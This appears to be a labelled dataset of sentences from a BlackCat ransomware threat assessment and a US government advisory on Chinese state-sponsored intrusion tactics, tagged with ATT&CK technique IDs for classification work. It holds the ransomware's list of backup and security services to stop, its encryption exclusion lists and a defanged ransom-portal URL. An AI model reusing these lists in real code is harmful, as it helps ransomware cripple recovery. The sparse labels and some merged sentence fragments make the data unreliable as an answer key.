{"sentence": "The services running on the compromised system are checked against the following list: mepocs, memtas, veeam, svc$, backup, sql, vss, msexchange, sql$, mysql, mysql$, sophos, MSExchange, MSExchange$, WSBExchange, PDVFSService, BackupExecVSSProvider, BackupExecAgentAccelerator, BackupExecAgentBrowser, BackupExecDiveciMediaService, BackupExecJobEngine, BackupExecManagementService, BackupExecRPCService, GxBlr, GxVss, GxClMgrS, GxCVD, GxCIMgr, GXMMM, GxVssHWProv, GxFWD, SAPService, SAP, SAP$, SAPD$, SAPHostControl, SAPHostExec, QBCFMonitorService, QBDBMgrN, QBIDPService, AcronisAgent, VeeamNFSSvc, VeeamDeploymentService, VeeamTransportSvc, MVArmor, MVarmor64, VSNAPVSS, AcrSch2Svc In an effort to maintain persistence, the BlackCat ransomware excludes key system and application folders – as well as key components – from encryption so as not to render the system and ransomware inoperative.", "labels": ["T1057"], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "The folders excluded are as follows: system volume information, intel, $windows.~ws, application data, $recycle.bin, mozilla, $windows.~bt, public, msocache, windows, default, all users, tor browser, programdata, boot, config.msi, google, perflogs, appdata, windows.old Excluded file names are as follows: desktop.ini, autorun.inf, ntldr, bootsect.bak, thumbs.db, boot.ini, ntuser.dat, iconcache.db, bootfont.bin, ntuser.ini, ntuser.dat.log Any file with an extension matching the following list will also be avoided: themepack, nls, diagpkg, msi, lnk, exe, cab, scr, bat, drv, rtp, msp, prf, msc, ico, key, ocx, diagcab, diagcfg, pdb, wpx, hlp, icns, rom, dll, msstyles, mod, ps1, ics, hta, bin, cmd, ani, 386, lock, cur, idx, sys, com, deskthemepack, shs, ldf, theme, mpa, nomedia, spl, cpl, adv, icl, msu Hardcoded credentials stored within the BlackCat ransomware config lend credence to the likelihood that specific victims are being targeted.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "These observations have also been confirmed by Symantec.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Associated Tools BlackCat has been observed using multiple – often legitimate – tools throughout their attacks, such as Mimikatz, LaZagne and WebBrowserPassView to recover stored passwords, as well as GO Simple Tunnel (GOST) and MEGAsync to exfiltrate data.", "labels": ["T1003.001"], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "This process often involves renaming files to include another or a different file extension, such as wpzlbji, in the example shown in Figure 4.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "As is commonplace with other ransomware strains, BlackCat ransomware will drop ransom notes on the compromised system(s) to inform the victim of what has happened and how to go about getting their data restored.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Text files with the name RECOVER-[RANDOM]-FILES.txt (where [RANDOM] refers to the aforementioned file extension name) will be found on the compromised system containing information and instructions such as those in the example below: Figure 4.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "An example of a BlackCat ransom note dropped on a compromised system.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "The following example URL highlights the notation used by BlackCat ransomware: http://2cuqgeerjdba2rhdiviezodpu3lc4qz2sjf4qin6f7std2evleqlzjid[.]onion/?access-key=${ACCESS_KEY}\",\"note_short_text\":\"Important Once the victim navigates to the onion site provided, they will see something similar to Figure 5 below.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "This site reiterates the problem and that the actor's Decrypt App private key is the only way to get their data back.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "The portal also provides chat facilities, the ransom amounts – which can differ depending on when the payment is sent – how to pay, and a way to test that the decryption works.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Example onion site information for BlackCat victims.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "When it appears in addition to the use of a leak site, this practice is known as triple extortion, a tactic that was observed being used by groups like Avaddon and Suncrypt in the past.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "One unique feature of BlackCat ransomware is that negotiation chats can only be accessed by those holding an access token key or ransom note – the group has made efforts to avoid third-party snooping.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Courses of Action This section documents the relevant tactics, techniques and procedures (TTPs) used by BlackCat ransomware and operators, mapping them directly to the Palo Alto Networks product(s) and service(s) protecting against them.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "It also further instructs customers on how to ensure their devices are appropriately configured.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Product / Service Course of Action Discovery", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Proxy [T1090.003] THREAT PREVENTION† Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories and threats Ensure a secure anti-spyware profile is applied to all security policies permitting traffic to the internet Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3' Ensure DNS sinkholing is configured on all anti-spyware profiles in use Ensure a secure antivirus profile is applied to all relevant security policies ADVANCED URL FILTERING†", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Ensure that URL Filtering uses the action of “block” or “override” on the URL categories Ensure secure URL filtering is enabled for all security policies allowing traffic to the internet", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Ensure that Advanced URL Filtering is used Ensure that access to every URL is logged Ensure all HTTP Header Logging options are enabled CORTEX XSOAR Deploy XSOAR Playbook - PAN-OS Query Logs for Indicators Deploy XSOAR Playbook - Palo Alto Networks - Hunting And Threat Detection NEXT-GENERATION FIREWALLS Ensure 'SSL Forward Proxy Policy' for traffic destined to the internet is configured Ensure 'SSL Inbound Inspection' is required for all untrusted traffic destined for servers using SSL or TLS Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources exists Ensure that the Certificate used for Decryption is Trusted Exfiltration", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "The below courses of action mitigate the following techniques: Exfiltration to Cloud Storage", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "[T1567.002] URL FILTERING† Ensure secure URL filtering is enabled for all security policies allowing traffic to the internet Ensure all HTTP Header Logging options are enabled Ensure that URL Filtering uses the action of ‘block’ or ‘override’ on the URL categories Ensure that access to every URL is logged Ensure that Advanced URL Filtering is used Impact The below courses of action mitigate the following techniques: Data Encrypted for Impact [T1486], Service Stop [T1489],", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Deploy XSOAR Playbook - Palo Alto Networks Endpoint Malware Investigation Table 1.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Courses of Action for BlackCat ransomware.†These capabilities are part of the NGFW security subscriptions service Conclusion BlackCat is an innovative and sophisticated ransomware family that is rapidly forming a reputation for its highly customized and individualized attacks.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "As seen with other ransomware families, BlackCat operates with a RaaS model and utilizes multiple extortion techniques, then publishes a leak site to further pressure victims into paying the ransom.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Palo Alto Networks detects and prevents BlackCat ransomware in the following ways: WildFire: All known samples are identified as malware.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Anti-Ransomware Module to detect BlackCat encryption behaviors on Windows.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Local Analysis detection for BlackCat binaries on Windows.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "BTP rule prevents Ransomware activity on Linux.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "DNS Signatures detect the known command and control (C2) domains, which are also categorized as malware in URL Filtering. Indicators of compromise and BlackCat-associated TTPs can be found in the BlackCat ATOM.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Additional Resources Acknowledgements We would like to thank Simon Conant for his help with sample collection, and malware and infrastructure analysis.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Get updates from Palo Alto Networks!", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "See the ATT&CK for Enterprise for all referenced threat actor tactics and techniques and the D3FEND framework for referenced defensive tactics and techniques.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Chinese state-sponsored cyber actors aggressively target U.S. and allied political, economic, military, educational, and critical infrastructure (CI) personnel and organizations to steal sensitive data, critical and emerging key technologies, intellectual property, and personally identifiable information (PII).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Some target sectors include managed service providers, semiconductor companies, the Defense Industrial Base (DIB), universities, and medical institutions.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "These cyber operations support China’s long-term economic and military development objectives.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "This Joint Cybersecurity Advisory (CSA) provides information on tactics, techniques, and procedures (TTPs) used by Chinese state-sponsored cyber actors.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "This advisory builds on previous NSA, CISA, and FBI reporting to inform federal, state, local, tribal, and territorial (SLTT) government, CI, DIB, and private industry organizations about notable trends and persistent TTPs through collaborative, proactive, and retrospective analysis.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "To increase the defensive posture of their critical networks and reduce the risk of Chinese malicious cyber activity, NSA, CISA, and FBI urge government, CI, DIB, and private industry organizations to apply the recommendations listed in the Mitigations section of this advisory and in Appendix A: Chinese State-sponsored Cyber Actors' Observed Procedures.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Note: NSA, CISA, and FBI encourage organization leaders to review CISA Joint Insights: Chinese Malicious Cyber Activity: Threat Overview for Leaders for information on this threat to their organization.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Technical DetailsTrends in Chinese State-Sponsored Cyber Operations NSA, CISA, and FBI have observed increasingly sophisticated Chinese state-sponsored cyber activity targeting U.S. political, economic, military, educational, and CI personnel and organizations.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "NSA, CISA, and FBI have identified the following trends in Chinese state-sponsored malicious cyber operations through proactive and retrospective analysis: Acquisition of Infrastructure and Capabilities.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Chinese state-sponsored cyber actors remain agile and cognizant of the information security community’s practices.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "These actors take effort to mask their activities by using a revolving series of virtual private servers (VPSs) and common open-source or commercial penetration tools. Exploitation of Public Vulnerabilities.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Chinese state-sponsored cyber actors consistently scan target networks for critical and high vulnerabilities within days of the vulnerability’s public disclosure.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "In many cases, these cyber actors seek to exploit vulnerabilities in major applications, such as Pulse Secure, Apache, F5 Big-IP, and Microsoft products.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Encrypted Multi-Hop Proxies.", "labels": ["T1090"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Chinese state-sponsored cyber actors have been routinely observed using a VPS as an encrypted proxy.", "labels": ["T1090"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "The cyber actors use the VPS as well as small office and home office (SOHO) devices as operational nodes to evade detection.", "labels": ["T1090"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Observed Tactics and Techniques Chinese state-sponsored cyber actors use a full array of tactics and techniques to exploit computer networks of interest worldwide and to acquire sensitive intellectual property, economic, political, and military information.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Refer to Appendix A: Chinese State-Sponsored Cyber Actors’ Observed Procedures for information on procedures affiliated with these tactics and techniques as well as applicable mitigations.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Figure 1: Example of tactics and techniques used in various cyber operations.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Focus on patching critical and high vulnerabilities that allow for remote code execution or denial-of-service on externally facing equipment and CVEs known to be exploited by Chinese state-sponsored cyber actors.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Consider implementing a patch management program that enables a timely and thorough patching cycle.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Enhance monitoring of network traffic, email, and endpoint systems.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Review network signatures and indicators for focused activities, monitor for new phishing themes, and adjust email rules accordingly.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Ensure that log information is aggregated and correlated to enable maximum detection capabilities, with a focus on monitoring for account misuse.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor common ports and protocols for command and control (C2) activity.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "SSL/TLS inspection can be used to see the contents of encrypted sessions to look for network-based indicators of malware communication protocols.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Implement and enhance network and endpoint event analysis and detection capabilities to identify initial infections, compromised credentials, and the manipulation of endpoint processes and files.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use protection capabilities to stop malicious activity.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Implement anti-virus software and other endpoint protection capabilities to automatically detect and prevent malicious files from executing.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use a network intrusion detection and prevention system to identify and prevent commonly employed adversarial malware and limit nefarious data transfers.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use a domain reputation service to detect suspicious or malicious domains.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use strong credentials for service accounts and multi-factor authentication (MFA) for remote access to mitigate an adversary's ability to leverage stolen credentials, but be aware of MFA interception techniques for some MFA implementations.:black_small_square: Resources Refer to us-cert.cisa.gov/china, https://www.ic3.gov/Home/IndustryAlerts, and https://www.nsa.gov/What-We-Do/Cybersecurity/Advisories-Technical-Guidance/ for previous reporting on Chinese state-sponsored malicious cyber activity.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Disclaimer of Endorsement The information and opinions contained in this document are provided \"as is\" and without any warranties or guarantees.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Purpose", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "This document was developed by NSA, CISA, and FBI in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "This information may be shared broadly to reach all appropriate stakeholders.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "This document is marked TLP:WHITE.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Disclosure is not limited.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "For more information on the Traffic Light Protocol, see http://www.us-cert.gov/tlp/. Trademark Recognition MITRE and ATT&CK are registered trademarks of The MITRE Corporation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Microsoft, Microsoft Exchange, Office 365, Microsoft Office, OneDrive, Outlook, OWA, PowerShell, Windows Defender, and Windows are registered trademarks of Microsoft Corporation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Pulse Secure is a registered trademark of Pulse Secure, LLC.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Apache is a registered trademark of Apache Software Foundation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "• F5 and BIG-IP are registered trademarks of F5 Networks.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "• Cobalt Strike is a registered trademark of Strategic Cyber LLC.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "GitHub is a registered trademark of GitHub, Inc. •", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "JavaScript is a registered trademark of Oracle Corporation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Python is a registered trademark of Python Software Foundation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Linux is a registered trademark of Linus Torvalds.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Dropbox is a registered trademark of Dropbox, Inc. APPENDIX A: Chinese State-Sponsored Cyber Actors’ Observed Procedures Note: D3FEND techniques are based on the Threat Actor Procedure(s) and may not match automated mappings to ATT&CK techniques and sub-techniques.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Tactics: Reconnaissance [TA0043] Table 1: Chinese state-sponsored cyber actors’ Reconnaissance TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Active Scanning [T1595] Chinese state-sponsored cyber actors have been assessed to perform reconnaissance on Microsoft:registered: 365 (M365), formerly Office:registered: 365, resources with the intent of further gaining information about the networks.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "These scans can be automated, through Python:registered: scripts, to locate certain files, paths, or vulnerabilities.", "labels": ["T1083"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1590] Tactics: Resource Development [TA0042] Table II:", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Chinese state-sponsored cyber actors’ Resource Development TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques Acquire Infrastructure [T1583] Chinese state-sponsored cyber actors have been observed using VPSs from cloud service providers that are physically distributed around the world to host malware and function as C2 nodes.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Organizations can monitor for unexpected network traffic and data flows to and from VPSs and correlate other suspicious activity that may indicate an active threat.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Look for human generated vice machine-generated traffic, which will be more uniformly distributed.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Looking for the default Cobalt Strike TLS certificate.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Look at the user agent that generates the TLS traffic for discrepancies that may indicate faked and malicious traffic.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Review the traffic destination domain, which may be malicious and an indicator of compromise.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Look at the packet's HTTP host header.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Check the Uniform Resource Identifier (URI) of the flow to see if it matches one associated with Cobalt Strike's malleable C2 language.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "N/A Tactics: Initial Access [TA0001] Table III: Chinese state-sponsored cyber actors’ Initial Access TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Detection and Mitigation Recommendations Drive By Compromise", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1189] Chinese state-sponsored cyber actors have been observed gaining access to victim networks through watering hole campaigns of typo-squatted domains.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use modern browsers with security features turned on.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Restrict the use of unneeded websites, block unneeded downloads/attachments, block unneeded JavaScript:registered:, restrict browser extensions, etc. Use adblockers to help prevent malicious code served through advertisements from executing.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use script blocking extensions to help prevent the execution of unneeded JavaScript, which may be used during exploitation processes.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use browser sandboxes or remote virtual environments to mitigate browser exploitation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use security applications that look for behavior used during exploitation, such as Windows Defender:registered: Exploit Guard (WDEG).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Identifier Analysis Homoglyph Detection", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-HD] URL Analysis [D3-UA] File Analysis Dynamic Analysis [D3-DA] Isolate: Execution Isolation Hardware-based Process Isolation [D3-HBPI] Executable Allowlisting", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "For information on vulnerabilities known to be exploited by Chinese state-sponsored cyber actors, refer to the Trends in Chinese State-Sponsored Cyber Operations section for a list of resources.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Targeting on-premises Identity and Access Management (IdAM) and federation services in hybrid cloud environments to gain access to cloud resources.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Deploying a public proof of concept (POC) exploit targeting a public-facing appliance vulnerability.", "labels": ["T1190"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Additional mitigations include: Consider implementing Web Application Firewalls (WAF), which can prevent exploit traffic from reaching an application.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Segment externally facing servers and services from the rest of the network with a demilitarized zone (DMZ).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use multi-factor authentication (MFA) with strong factors and require regular re-authentication.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "For more information refer to NSA Cybersecurity Information Sheet: [Embracing a Zero Trust Security Model].", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "When possible, use cloud-based access controls on cloud resources (e.g., cloud service provider (CSP)-managed authentication between virtual machines).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use automated tools to audit access logs for security concerns.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Where possible, enforce MFA for password resets.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Do not include Application Programing Interface (API) keys in software version control systems where they can be unintentionally leaked. Harden:", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Platform Hardening Software Update [D3-SU] Detect: File Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-FA] Network Traffic Analysis Client-server Payload Profiling [D3-CSPP] Process Analysis Process Spawn Analysis Process Lineage Analysis [D3-PLA] Isolate: Network Isolation Inbound Traffic Filtering [D3-ITF]", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Phishing [T1566]: Spearphishing Attachment [T1566.001] Spearphishing Link", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1566.002] Chinese state-sponsored cyber actors have been observed conducting spearphishing campaigns.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "These email compromise attempts range from generic emails with mass targeted phishing attempts to specifically crafted emails in targeted social engineering lures.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "These compromise attempts use the cyber actors’ dynamic collection of VPSs, previously compromised accounts, or other infrastructure in order to encourage engagement from the target audience through domain typo-squatting and masquerading.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "These emails may contain a malicious link or files that will provide the cyber actor access to the victim’s device after the user clicks on the malicious link or opens the attachment.", "labels": ["T1204.002", "T1566.001"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use a network intrusion prevention system (IPS) to scan and remove malicious email attachments.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Block uncommon file types in emails that are not needed by general users (.exe, .jar,.vbs)", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using Sender Policy Framework", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[SPF]) and integrity of messages (using Domain Keys Identified Mail", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[DKIM]).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Enabling these mechanisms within an organization (through policies such as Domain-based Message Authentication, Reporting, and Conformance", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[DMARC]) may enable recipients (intra-org and cross domain) to perform similar message filtering and validation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Prevent users from clicking on malicious links by stripping hyperlinks or implementing \"URL defanging\" at the Email Security Gateway or other email security tools.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Add external sender banners to emails to alert users that the email came from an external sender.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Harden:", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Message Hardening Message Authentication [D3-MAN] Transfer Agent Authentication", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-TAAN] Detect: File Analysis Dynamic Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1133] Chinese state-sponsored cyber actors have been observed: Exploiting vulnerable devices immediately after conducting scans for critical zero-day or publicly disclosed vulnerabilities.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Note: this technique also applies to Persistence [TA0003].", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
